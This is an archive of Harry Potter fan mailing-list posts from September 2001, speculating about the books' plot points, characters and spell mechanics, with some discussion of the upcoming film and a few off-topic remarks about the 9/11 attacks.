**<description of Quidditch gear>
**
**Aaaarrrrggghhh!  They play in ROBES!  See the last drawing in QTTA --
**drawn by Ms Rowling herself -- for proof.

If you look, at least Angelina is wearing a robe (and maybe Katie, too, it's
not in front of me right now...), so to me it shows what they wear _under_
their robes.  I think they look great.  Where can I get one of those
sweaters?!

**[SNIP]
**>I'd rather not have the Unicorn
**>Tapestry wall paper. 
**
**No book handy, but isn't it supposed to be stone walls with REAL
**tapestries?

Again, they looked like tapestries to me, not wallpaper, but I'd have to
look again.

I also have to say that seeing the Snape picture just makes me crazy to see
this film.  In fact, the whole layout had me screaming 'And they expect me
to wait until _November_?!'  I knew Alan Rickman had Snape written all over
him, but I love the whole atmosphere they've created.

Meredith



From rowena_grunnion_ffitch at yahoo.com  Mon Sep 17 15:23:33 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 17 Sep 2001 08:23:33 -0700 (PDT)
Subject: Wizardly Longevity
In-Reply-To: <D8AB9C5548AED211928B0090273CDDD705789ABF@mailbox.engr.sc.edu>
Message-ID: <20010917152333.31623.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26201

   We are told Dumbledore is one hundred and fifty
years old, is this a normal age for a Wizard to reach?
The fact that McGonagall, in her seventies, and
Hagrid, past sixty, seem about middle aged suggest
that it is and Wizards have significantly longer
lifespans than we Muggles. Dumbledore himself
apparently didn't begin to go gray until after he'd
turned a hundred. So, how long do they live, (provided
they're not cut short by Dark Lords or the like)? 

__________________________________________________
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From dkgrubb at earthlink.net  Mon Sep 17 15:29:25 2001
From: dkgrubb at earthlink.net (dkgrubb at earthlink.net)
Date: Mon, 17 Sep 2001 15:29:25 -0000
Subject: Ancient/Old Magic - Why is Harry protected?
In-Reply-To: <9o3muo+o7j1@eGroups.com>
Message-ID: <9o54sl+3ibo@eGroups.com>

No: HPFGUIDX 26202


> > This is something that has really puzzled me. What is it about the 
> > Dursley's that protects Harry? The only other really deep magic 
> > that has defeated Mr.V. in the past is the subtle and profound 
> > love of a mother for her baby. So, what is it at the D's that is so 
> > powerful?
> 
>     I think it must have something to do with blood ties. Mean and > > nasty they may be but the Dursleys are Harry's only remaining blood > > kin and the 'Ancient Magic' may require such a tie.

I apologize if this dead horse has been beaten already, but it seems to 
me  that Mrs. Figg might be the secretkeeper who keeps Harry safe at 
the Dursleys by means of a Fidelius charm. She volunteers to babysit 
when the Dursleys go out, because Harry would not be protected outside 
the Dursleys actual house, so she has to watch him personally.

Debra





From borg3892000 at yahoo.com  Mon Sep 17 15:33:02 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 17 Sep 2001 15:33:02 -0000
Subject: Why oh why
Message-ID: <9o553e+lor1@eGroups.com>

No: HPFGUIDX 26203

Last weekend I started reading book 1 again.  I knew better, yet I 
did it anyway.

Last night I finished book 4.  I couldn't stop.

Dang books.

Now I'm all hyped up waiting for book 5 again.




From borg3892000 at yahoo.com  Mon Sep 17 16:00:18 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 17 Sep 2001 16:00:18 -0000
Subject: PoA questions
In-Reply-To: <9o3m5s+c729@eGroups.com>
Message-ID: <9o56mi+q4ve@eGroups.com>

No: HPFGUIDX 26204

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> 2. If Lupin was studying the Marauder's Map before running out to 
the 
> shrieking shack, why didn't he see a SECOND Harry Potter and 
Hermione 
> Granger? As they were approaching the shack, the time-travelling 
H&H 
> were on the grounds, in the woods with Buckbeak. We know that the 
> time-travelling self is in that specific time frame because of the 
> Patronus deal -- there are two Harrys by the lake -- and the (and 
> this is an approx. quote) "they heard a last pair of feet run 
across 
> the entrance hall and slam a door" [those feet are Hermione and 
> Harry, time travelling.]. So there should be two Hermiones and two 
> Harrys on the map. If he thought seeing Pettigrew on the map was 
> strange, SURELY seeing two Harry/Hermiones would be stranger. Or 
> maybe he just decided not to say anything about 
it...still...dodgy...

Good question.  Three possibilities come to mind.

The first one is that he saw Harry on another part of the map, so he 
didn't notice the other Harry.

The second possibility I saw used in a similar time-traveling 
situation: If he HAD noticed the other Harry, time would have been 
altered and possibly created a paradox, thus he *couldn't* notice 
Harry. In the theoretical original timeline before the time-turner 
was used, Harry wouldn't have been on the map, so he would not have 
seen him.  After the timeline was altered when Harry went back 3 
hours, this part of the timeline couldn't change without Harry or 
Hermione actually taking an active part, such as tapping Lupin on the 
shoulder.

The third possibility is that Lupid DID see them, but knew about or 
figured out about the time-turner, and realized that he shouldn't 
interfere, but properly guessing which set of Harry/Hermione was the 
right one. (Assumption is that he guessed that the group with Ron and 
Peter was the correct group.)




From borg3892000 at yahoo.com  Mon Sep 17 16:06:04 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 17 Sep 2001 16:06:04 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9o3oba+kse6@eGroups.com>
Message-ID: <9o571c+95f9@eGroups.com>

No: HPFGUIDX 26205

--- In HPforGrownups at y..., y_no_m at y... wrote:

> It's definitely Orpheus' playing. Cerberus is much harder to get by 
> than Fluffy. I wonder if Mrs. Rowling was thinking of that myth 
when 
> she thought of the way to get by Fluffy. Or maybe she was just 
> thinking of the saying that songs soothe the savage beast. In any 
> case, I'm definitely thinking too much into it. Orpheus just came 
> into mind when I read the post about Cerberus.

The saying is actually "...savage breast." rather than "...savage 
beast.".  Common mistake.




From borg3892000 at yahoo.com  Mon Sep 17 16:03:22 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Mon, 17 Sep 2001 16:03:22 -0000
Subject: I've Been Reading the Archives (was Ancient/Old Magic - Why is Harry protected?)
In-Reply-To: <9o3muo+o7j1@eGroups.com>
Message-ID: <9o56sa+lphs@eGroups.com>

No: HPFGUIDX 26206

--- In HPforGrownups at y..., rowena_grunnion_ffitch at y... wrote:
> --- In HPforGrownups at y..., eccleston at c... wrote:
> > 
> > This is something that has really puzzled me. What is it about 
the 
> > Dursley's that protects Harry? The only other really deep magic 
> > that has defeated Mr.V. in the past is the subtle and profound 
> > love of a mother for her baby. So, what is it at the D's that is 
so 
> > powerful?
> 
>     I think it must have something to do with blood ties. Mean and 
nasty they may be but the Dursleys are Harry's only remaining blood 
kin and the 'Ancient Magic' may require such a tie.

Could it have something similar to do with Vampires?  A vampire can 
only enter your home if invited, according to the legend.

Doesn't entirely ring true, because Voldy certainly had no trouble 
attacking others in their homes.  But this is after he died once. 
There could have been something in one of the rites Voldy did that 
brings him under a rule like this.




From foxmoth at qnet.com  Mon Sep 17 16:36:28 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Mon, 17 Sep 2001 16:36:28 -0000
Subject: PoA questions and an OT Expression of thanks
In-Reply-To: <9o3m5s+c729@eGroups.com>
Message-ID: <9o58qc+nlvc@eGroups.com>

No: HPFGUIDX 26207

--- In HPforGrownups at y..., mellienel2 at y... wrote:

> 1. In my book, and I don't know how this can't be a mistake, 
Black 
> says to Pettigrew in the Shrieking Shack that Voldemort had 
been in 
> hiding for 15 years (ipage #). But at this point, harry is 
> 13, and Voldemort has only been in hiding for 12, maybe 12 
1/2 years. 
>
It's possible Voldemort went into hiding  well before the attack on 
the Potters because the "old crowd" and the Ministry were 
pursuing him.  We have just seen how destructive a hidden 
enemy can be.


  Unaccustomed as I am to lurking on this list, I have found 
myself doing just that this week. I want you all to know how 
grateful I am to everyone who found words to express their 
support for America, or just share what they were feeling.

Pippin




From absinthe at mad.scientist.com  Mon Sep 17 16:45:21 2001
From: absinthe at mad.scientist.com (absinthe at mad.scientist.com)
Date: Mon, 17 Sep 2001 16:45:21 -0000
Subject: Congrats  and by the way(Re: Amanda's Anniversary Posting)
In-Reply-To: <3BA4CCB3.649D9364@texas.net>
Message-ID: <9o59b1+s8gm@eGroups.com>

No: HPFGUIDX 26208

Congrats Amanda. I'm popping a cyber champaigne bottle because today 
(September 17) is my one year anniversary on the List.

I think when I joined there were between 150 to 200 or so members. I 
found this web site on an educational web site links page and was 
VERY relieved that there was an "adult" group on-line. 

It's been a wonderfully stimulating year for me. I enjoy reading the 
other opinions about Harry and company. I'm looking forward to many 
more years in this group.

Thanks,

:-)Milz




From mindyatime at juno.com  Mon Sep 17 17:23:42 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Mon, 17 Sep 2001 13:23:42 -0400
Subject: Hagrid's Mysterious Past
Message-ID: <20010917.132847.-383807.31.mindyatime@juno.com>

No: HPFGUIDX 26209

I have a sneaky feeling that in book 7 in the last few chapters the
entire foundation of the HP feeling will be unraveled by some very
shocking revelation about both Hagrid and Snape which will send us all
reeling. I don't want to speculate with any weird ideas, but suffice it
to say that I have the distinct gut feeling that book 7 will be the
ultimate shocker which will leave us all speechless and it will shake our
faith in the world!!! JKR probably has a fantastic scheme cooked up which
she is hiding up her sleeve which will dumbfound and astound us all.

Tonight is the beginning of the 2-day holiday of Rosh HaShono, the Jewish
New Year, so I will be indisposed for a couple of days and will not read
any emails, so I wish all of my friends, Jewish and non-Jewish alike, a
happy, healthy New Year filled with only good things and peace in the
world. May all our prayers be answered this year and may G-d fulfill all
of our heart's desires.


MINDY

Proud ListOwner of:  http://groups.yahoo.com/group/JewishMusic,
For JewishMusic Enthusiasts everywhere
and http://groups.yahoo.com/group/MiamiBoysChoir
For Demented MiamiBoysChoir Fanatics like me

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From sluther at tuna.net  Mon Sep 17 17:47:07 2001
From: sluther at tuna.net (sluther at tuna.net)
Date: Mon, 17 Sep 2001 17:47:07 -0000
Subject: House Ghosts and The Grey Lady
Message-ID: <9o5cur+s821@eGroups.com>

No: HPFGUIDX 26210

We know that the Bloody Barron belongs to Syltherin, Nearly Headless 
Nick to Gryffindor and Fat Friar to Hufflepuff but I cannot the 
references in Book 1 that introduce the Grey Lady and Ravenclaw's 
ghost. Can anyone tell me the page numbers or chapters where she is 
mentioned? I can't find them and all four ghosts are pictured in the 
Vanity Fair issue that I just got. Thanks, Sarah




From mindyatime at juno.com  Mon Sep 17 17:52:25 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Mon, 17 Sep 2001 13:52:25 -0400
Subject: Why name change?
Message-ID: <20010917.135541.-383807.32.mindyatime@juno.com>

No: HPFGUIDX 26211

Steve the indefatigable wrote:

" the change from "Philosopher's Stone" to Sorcerer's Stone"......

I may sound like an ignoramus, but what IS the reason that the title was
changed? A sorcerer is an evil witch and a philosopher is a philosopher,
or does a philosopher meaning something else in Britenglish?
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From rose590 at yahoo.com  Mon Sep 17 17:58:31 2001
From: rose590 at yahoo.com (rose590 at yahoo.com)
Date: Mon, 17 Sep 2001 17:58:31 -0000
Subject: Visitation Rights
Message-ID: <9o5dk7+cs1p@eGroups.com>

No: HPFGUIDX 26212

I've just about finished reading all the books for the second time - 
I only started in July - and there was a particular question that 
came to mind. Please forgive me if this has been discussed before.

Are the students ever permitted to visit each other in their common 
rooms?  

I ask this question for several reasons.  My first thought was no as 
it was mentioned in GoF that those students escorting those from 
other houses to the Yule Ball would meet them in the entrance hall 
(please also forgive me for not having exact quotes as I listened to 
all four books on audio).  Then it occurred to me that several 
students had developed girl/boy relationships outside their houses 
(ex: Percy and Penelope, who by the way we never hear anything about 
again after PoA).  Since it seems as though there really isn't much 
mixing of students outside their houses, wouldn't that also lend 
credence to the argument that MWPP were all in the same house.  After 
all, they would need an awful lot of time together to have planned 
all their escapades and we already know that leaving a common room 
after dark is a violation of school rules.

Thanks
Rose (who thinks she thinks to much and gets easily confused)





From vderark at bccs.org  Mon Sep 17 17:59:34 2001
From: vderark at bccs.org (vderark at bccs.org)
Date: Mon, 17 Sep 2001 17:59:34 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <9o4vp1+sl06@eGroups.com>
Message-ID: <9o5dm6+107j6@eGroups.com>

No: HPFGUIDX 26213

--- In HPforGrownups at y..., mellienel2 at y... wrote:

> We don't know this for sure. A spell isn't really cast if it 
doesn't 
> work 

Yes it is. It's cast. The only way it wouldn't be cast is if it never 
left the wand in the first place. Your theory that it doesn't appear 
because it wasn't cast doesn't really work. But considering how 
important intention is to spell casting, it is possible that it 
doesn't appear because it didn't work as intended. It was 
unquestionably cast, however.

-- witness all the blind sparks that go flying when it misses 
> its target. Whatever hit harry did cut his skin (had to be a spell, 
> because of the suggestion of power behind JKR's choosing a 
Lightning 
> Bolt scar), but then rebounded, destroying Voldy.

Again, clear indication that the spell was indeed cast. We don't know 
that the scar was the direct result of an Avada Kedavra spell, 
however. There is some hint that the scar is something more, some 
form of connection with Voldemort, not just the result of an errant 
bolt of energy. When you add to that the fact that the house was 
destroyed, an effect which doesn't seem to be in keeping with the 
action of the Killing Curse, it is likely that there was more going 
on there than we know about yet.

I think the most likely explanation is that JKR messed up. She made 
other mistakes in that passage too, so it's very possible that she 
simply forgot to include all the spells that she should have.

Funny, though, now that I'm thinking about scars...I wonder if 
there's anything to Dumbledore's statement about scars being useful 
and that he has one on his knee that is a map of the London 
Underground. Strange statement, that...

Steve Vander Ark
The Cynic





From blpurdom at yahoo.com  Mon Sep 17 18:45:51 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Mon, 17 Sep 2001 18:45:51 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <9o4vp1+sl06@eGroups.com>
Message-ID: <9o5gcv+q0h9@eGroups.com>

No: HPFGUIDX 26214

--- In HPforGrownups at y..., mellienel2 at y... wrote: 
> Kill a person, you have their whole being, 
> and that comes out of the wand.
 
This of course raises an interesting question: what comes out of a 
wand in relation to various spells when Priori Incantatem is 
performed?  We saw a miniature Dark Mark appear from Harry's wand 
after Crouch used it to fire the Dark Mark into the air; we saw the 
shades of the people Voldemort murdered with his wand.  What would 
appear if the spell were Cruciatus?  Imperius?  A simple Alohomora?  
Any thoughts?

--Barb





From cynthiaanncoe at home.com  Mon Sep 17 18:54:29 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 17 Sep 2001 18:54:29 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o4gkh+i5ms@eGroups.com>
Message-ID: <9o5gt5+ugsp@eGroups.com>

No: HPFGUIDX 26215

Jenny wrote:
> > Does anyone have any speculations about what secrets Hagrid may 
> > harbor?  We've discussed Snape's past a gazillion times (but I 
like 
> > it, Amanda!).  What about Hagrid?  I have no idea.
> > 

Jenny, Will totally wild, unsupported speculation do?  Good.

I think we are going to learn a few things about Hagrid's parents.  
We are told that his dad was a wizard and his Mom was a giant.  We 
don't know if she is dead or alive, but I think I remember that 
Hagrid's dad died in his second year.  Hagrid never mentions how his 
dad died.

Hmmm.  Lots of juicy possibilities there.  Since we know 
giants "aren't very nice" and enjoy killing, I am thinking that 
Hagrid's Mom killed his Dad for some reason.  As we have seen, 
wizards seem to have no difficulty killing members of their own 
families (Crouch, Riddle), so nothing would surprise me at this point.

Since I am unable to support this hypothesis with any extra-clever 
canon observations, I pledge not to say "I told you so" if it proves 
correct later.

Cindy (just happy to be back on topic)




From blpurdom at yahoo.com  Mon Sep 17 19:04:04 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Mon, 17 Sep 2001 19:04:04 -0000
Subject: JKR's humor eclipses Le Guin in book review
Message-ID: <9o5hf4+eupu@eGroups.com>

No: HPFGUIDX 26216

In what is ostensibly a review of Ursula K. Le Guin's new book (an 
Earthsea followup) reviewer Susan Balee, who reviews for the 
Philadelphia Inquirer (where I read this) and the Hudson Review 
compares Le Guin unfavorably to Rowling in terms of humor.  This 
appeared in the Sunday, September 16 book section of the Inquirer.

She cites in particular the quirkiness of Dumbledore, comparing him 
to the dour Ged/Sparrowhawk (especially Dumbledore's reaction to ear-
wax-flavored Every Flavor Beans).  She does eventually get around to 
reviewing Le Guin's book, "The Other Wind," but it is bookended with 
Potter references (I hope Le Guin isn't upset by this).  Especially 
funny was Balee's last paragraph:

"All that's lacking basically, is humor.  Potter brought it home to 
me, and so did my famously, gleefully flatulent 7-year-old.  When he 
saw the title, 'The Other Wind,' he snatched the book up.  'Is this 
book what I think it's about?' he asked, grinning hugely.  Well, no, 
but it's still a good read."

LOL!  I'll bet her son's favorite characters are Gred and Forge.

Read the whole review here:

http://inq.philly.com/content/inquirer/2001/09/16/books/OTHER16.htm

--Barb





From cynthiaanncoe at home.com  Mon Sep 17 19:21:35 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 17 Sep 2001 19:21:35 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <9o4vp1+sl06@eGroups.com>
Message-ID: <9o5ifv+pf41@eGroups.com>

No: HPFGUIDX 26217

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> 
A spell isn't really cast if it doesn't 
> work -- witness all the blind sparks that go flying when it misses 
> its target. Whatever hit harry did cut his skin (had to be a spell, 
> because of the suggestion of power behind JKR's choosing a 
Lightning 
> Bolt scar), but then rebounded, destroying Voldy. Well -- at that 
> point, the spell was just a mass of energy blindly hitting 
something 
> (Voldemort). 
> 
> It's entirely possible that because the spell didn't succeed, it 
> doesn't count as a real spell in Priori Incantatem. Say he cast an 
AK 
> meant to kill Lily, and he missed, and then he cast it and was 
right 
> on. Would Lily come out of the wand twice -- once as the intended 
> victim, and once as the real victim? No -- the spell needs to have 
> connected, to have the essence of its victim in the wand's history. 
> 
> If it only scratched Harry, it could have been just light, nothing 
> really worth coming out of a wand -- after all, Wormtail uses 
Voldy's 
> wand to make fire, and I'm sure does many little spells with it 
> during the time in which he nursed Voldemort -- if those came out 
of 
> the wand, they were little enough not to be noticeable. The 
> unsucessful attack on Harry is like this -- an AK turned into a 
> Scratch. As it only got a lightning-shaped part of harry, that's 
the 
> most the wand has of him. Kill a person, you have their whole 
being, 
> and that comes out of the wand.
> 


Aha!  Another believer in the "failed spell" theory!  That makes two!

M, I think you may have something with the idea that V's AK spell 
against Harry isn't regurgitated because it failed.  Together, 
perhaps we can row this boat upstream.

The list of graveyard spells (and whether an incantation is used) is:

W killing Cedric (incantation).
W conjuring ropes.
W making a fire with a wand.
W using a wand to open the grave (incantation).
V using a wand to throw W to the headstone.
V using a wand for Crucio on Avery (incantation).
V using a wand to conjure W's hand.
V using a wand for Crucio on H (incantation).
V using a wand to make H bow.
V using a wand for Imperio on H (incantation).
V using a wand for Crucio on H but missing (incantation).

So I was working on a theory that Priori Incantantem will cause a 
wand to regurgitate only successful spells in which an incantation is 
used.  Failed spells and spells in which no incantation is needed are 
not regurgitated.  The failed AK spell and the failed Imperio spell 
would not come out of V's wand for that reason.  

Under that theory, there are still successful incantation spells that 
worked but did not come out of V's wand.  They are the grave and the 
fire.  So I figure that Wormtail used his own wand for those.  What's 
my proof?  Well, once V gets his body back, he explicitly removes his 
wand from the pocket in his robe.  That raises the possibility that 
Wormtail used V's wand to kill Cedric, then put V's wand back in the 
robes and began using his own wand for the rest of the magic he 
performs.

So what's the problem with this theory?  I can't explain why 
Wormtail's hand comes out of the wand, as it is a successful spell 
with no incantation.

Cindy (who is starting to think she'll never figure this out)




From cynthiaanncoe at home.com  Mon Sep 17 19:35:10 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 17 Sep 2001 19:35:10 -0000
Subject: Back OT?
In-Reply-To: <9nnmci+t5fm@eGroups.com>
Message-ID: <9o5j9e+ij63@eGroups.com>

No: HPFGUIDX 26218

Laura wrote:

I think this may be the single 
> longest sentence in the entire Harry Potter series.  It is in the 
> final chapter (p. 328 of American version):
> 
> "For nearly a quarter of an hour he spoke into the rapt silence:  
He 
> told them about hearing the disembodied voice, how Hermione had 
> finally realized that he was hearing a basilisk in the pipes; how 
he 
> and Ron had followed the spiders into the forest, that Aragog had 
> told them where the last victim of the basilisk had died; how he 
had 
> guessed that Moaning Myrtle had been the victim, and that the 
> entrance to the Chamber of Secrets might be in her bathroom . . . ."
> 
> 85 words.  3 commas.  2 semi-colons.  1 colon.  1 elipse.  Can 
anyone 
> top this?
> 

Yes, GoF ch. 34, p. 666 edges out CoS:

"More screams of pain from the wand . . . and then something else 
emerged from its tip . . . the dense shadow of a second head, quickly 
followed by arms and torso  . . . an old man Harry had seen only in a 
dream was now pushing himself out of the end of the wand just as 
Cedric had done . . . and his ghost, or his shadow, or whatever it 
was, fell next to Cedric's, and surveyed Harry and Voldemort, and the 
golden web, and the connected wands, with mild surprise, leaning on 
his walking stick . . . ."

89 words. 9 commas. 0 semi-colons.  0 colons. 5 elipses.

Cindy




From mindyatime at juno.com  Mon Sep 17 19:43:58 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Mon, 17 Sep 2001 15:43:58 -0400
Subject: POA Paperback
Message-ID: <20010917.154407.-392835.7.mindyatime@juno.com>

No: HPFGUIDX 26219

I ordered the POA Paperback months ago and was told by Amazon it would be
available Sept. 11th!!!!

Well it was -- Sept 11th in the morning I got an email from Amazon saying
they shipped it that day.

Until Lord Voldemort a.k.a. Osama Bin Ladin decided he didn't want
everyone to know that Peter Pettigrew was still faithful to him and... he
launched a terror attack against the U.S.

Kidding!!!

I did receive the book today. Looking forward to reread it. (I only read
it once, when I picked it up from my local library.)
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.



From rowena_grunnion_ffitch at yahoo.com  Mon Sep 17 20:08:21 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 17 Sep 2001 13:08:21 -0700 (PDT)
Subject: Only Slytherins Go Bad??
In-Reply-To: <9o54sl+3ibo@eGroups.com>
Message-ID: <20010917200821.86271.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26220

   That's what Hagrid says in SS, at a time when he
thought Sirius Black was a DE, and of course we know
that Peter Pettigrew really was, so - are they
Slytherins?
   Peter at least *can't* be a Gryffindor since their
chief characteristic is courage and he has none at
all. He does however have cunning, he could be a
Slytherin.
   But what about Sirius? According to Dumbledore
resourcefullness, determination and a disregard for
the rules were all traits Slytherin wanted in his
pupils and Sirius certainly has those in spades....
   Or Hagrid might have been indulging in a glittering
generality. Slytherins might well be especially at
risk because of their ambition but I find it very
difficult to believe that no member of any other house
has ever fallen to the Dark side.
   
     


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From eggplant107 at hotmail.com  Mon Sep 17 20:14:54 2001
From: eggplant107 at hotmail.com (eggplant107 at hotmail.com)
Date: Mon, 17 Sep 2001 20:14:54 -0000
Subject: Spielberg on Potter
Message-ID: <9o5lju+amk5@eGroups.com>

No: HPFGUIDX 26221

Steven Spielberg didn't want to direct the first Harry Potter movie 
but now he says this: 

"That first story didn't touch me creatively, Now the third Harry 
Potter book...It's pure genius! Much darker, more esoteric and 
interesting to me personally. If they'd offered me that, I'd have 
said yes."

Asked if we might still see a Harry Potter movie directed by 
Spielberg he said
"That's right,you never know.'





From saitaina at wizzards.net  Mon Sep 17 20:30:15 2001
From: saitaina at wizzards.net (Saitaina)
Date: Mon, 17 Sep 2001 13:30:15 -0700
Subject: [HPforGrownups] Re: MOVIE: length of movie
References: <9o5132+tsmo@eGroups.com>
Message-ID: <013901c13fb7$8fc06400$964e28d1@oemcomputer>

No: HPFGUIDX 26222

Ah!  On that you are most likely correct. :)  

Now to make this more then a one liner-

I believe the DVD version will most likely be two to two an a half hours long.  While this is not as long as most of us hopped it is more then the hour and a half we'll most likely see in the theatre.  Plus adding all the special features it'll most likely round out to four hours...but then again, I could be wrong. :)
Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: caliburncy at yahoo.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Monday, September 17, 2001 7:24 AM
  Subject: [HPforGrownups] Re: MOVIE: length of movie


  --- In HPforGrownups at y..., "Saitaina" <saitaina at w...> wrote:
  > Hun, this close to release date all but the final cuts (editing for 
  > time, content...scenes everyone loves but must for some reason end
  > up on the floor...) are done.  There's 60 days left till opening, 
  > they have to finish the cuts, screen it, studio screen it, sponsor 
  > screen it, send it our for pre-reviews, do select reviews AND get it 
  > into the theatres in time for November 16th.

  Okay, point taken.  But what I meant was not that the final director's 
  cut isn't finished now; I meant it was not finished at the time those 
  articles were written (they basically say as much).  Sorry!

  -Luke


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From dfrankiswork at netscape.net  Mon Sep 17 20:29:58 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 17 Sep 2001 20:29:58 -0000
Subject: OT: Fwd: All Muslims Are Not Death Eaters or Phanfasms!
In-Reply-To: <9o0m7m+f0ff@eGroups.com>
Message-ID: <9o5mg6+3l02@eGroups.com>

No: HPFGUIDX 26223

Joy,

On Tuesday night the BBC news here showed footage of Palestinians 
celebrating the WTC attacks.  The anchor asked the Jerusalem 
correspondent, Orla Guerin, if this was true and she replied, yes, 
there were some people who had celebrated, but that the majority were 
in shock, as you would expect, and glued to their television screens 
like the rest of the world.

So I think it's likely that the CNN footage was both authentic and 
misleading.

David




From dfrankiswork at netscape.net  Mon Sep 17 20:46:08 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 17 Sep 2001 20:46:08 -0000
Subject: Hagrid, apology for OT post
Message-ID: <9o5neg+607s@eGroups.com>

No: HPFGUIDX 26224

I believe that Hagrid's position as Keeper of the Keys will prove 
significant.  I don't think it's just a groundsman job where he locks 
the gates at night.  After all, he didn't seem to play any part in 
the security arrangements after Sirius' attacks on the Fat Lady and 
the 3rd years' dorm.

Personally, I think it's a multiple dimensions thing.  Hagrid perhaps 
plays a key role in connecting Hogwarts through to other aspects of 
reality not accessible to Muggles, but which maybe are the natural 
realm for ghosts, etc.  His giant ancestry may make this job easier 
for him.

David

PS, sorry for OT post about Palestinians - IE crashed halfway through 
and when I reposted I forgot to reset the address.  If I have any 
more WTC comments they will go on OT-Chatter




From magpie1112 at yahoo.com  Mon Sep 17 20:40:45 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Mon, 17 Sep 2001 20:40:45 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o5n4d+b4s8@eGroups.com>

No: HPFGUIDX 26225

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Hey Everyone -
> 
> I was just reading EW (found the last copy at the supermarket and 
> got very excited).  Robbie Coltrane said in an interview that he 
> had talked to JKR about Hagrid.  She "told him, and even disclosed 
> some secrets that will be revealed in future novels".  Hmmm - I 
> thought the big shocker was that Hagrid was half-giant 


I think that the idea that Hagrid is half-giant is not the *big* 
shocker (no pun intended!)  When I read GoF, I got more of an "okay, 
I figured as much" vibe rather than a true shock.  Hagrid must have 
something else up his sleeve.  

I'm willing to bet that Hagrid is a much more powerful wizard than he 
seems.  Since Dumbledore has such a soft spot for Hagrid, I wonder if 
there has been any night-school for Hagrid?  Hagrid has a love of 
magical creatures that is nothing short of blind.  If I were 
Dumbledore, I'd consider teaching a favorite friend (and go-to man, 
to quote another poster) how to better protect himself from more 
dangerous, powerfully magical, creatures.  That way he can use his 
wand (er, umbrella) safely; be able to contain any creature that gets 
the better of his gentle, forgiving nature; and be protected himself 
when he runs those errands for Dumbledore.


> and I am assuming that we'll meet Fridwulfa, his giant mommy in 
> OoP.  


I certainly hope we'll meet Fridwulfa!  I can't help but think that 
there will be some kind of reunion for Hagrid and his mum.  And I 
have to agree with another poster - since JKR likes "it's not who you 
were born, but who you become", I've got a feeling that Friddy may be 
a giant with a secret heart of gold.  Hagrid says that his dad was 
broken-hearted when she left, and that she probably wasn't the 
maternal sort.  But what if she left in hopes that Hagrid wouldn't be 
stigmatized if she wasn't around for people to make the giant-
connection?  

What if she is one of the leaders of the remaining giants?  If that 
is the case, it will be interesting to see if she sides with her 
blood (Hagrid), or if she decides to pursue vengeance against the 
wizards that have all but exterminated her people.

- Denise




From cynthiaanncoe at home.com  Mon Sep 17 22:08:08 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 17 Sep 2001 22:08:08 -0000
Subject: Fangs for mentioning this/warning -vampire theory
In-Reply-To: <9isj1a+d768@eGroups.com>
Message-ID: <9o5s88+jkg@eGroups.com>

No: HPFGUIDX 26226

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> Monika the Snape fan wrote:
> 
> > The whole 
> > Snape-is-a-vampire theory is based on one sentence only. In PoA, 
> > Lupin says in front of Snape: "Harry, Ron, come with me, I need a 
> > word about my vampire essay." But, the vampire essay *was* the 
> > homework, Harry talked about it with Neville! Can you imagine 
Lupin 
> > saying something like "C'mon, boys, I need a word about your 
> > homework"? I'd love to see Snape's delight on this! "Well, Lupin, 
> are 
> > you actually going to *do* the homework for your chosen students?"
> 
> Not true that this is the sole basis of the theory!  The vampire-
> essay line is just a particularly delicious bit IF Snape is a 
> vampire.  Besides, the idea isn't just that Lupin chose to twist 
the 
> knife at that moment, but that he *assigned* the essay in the first 
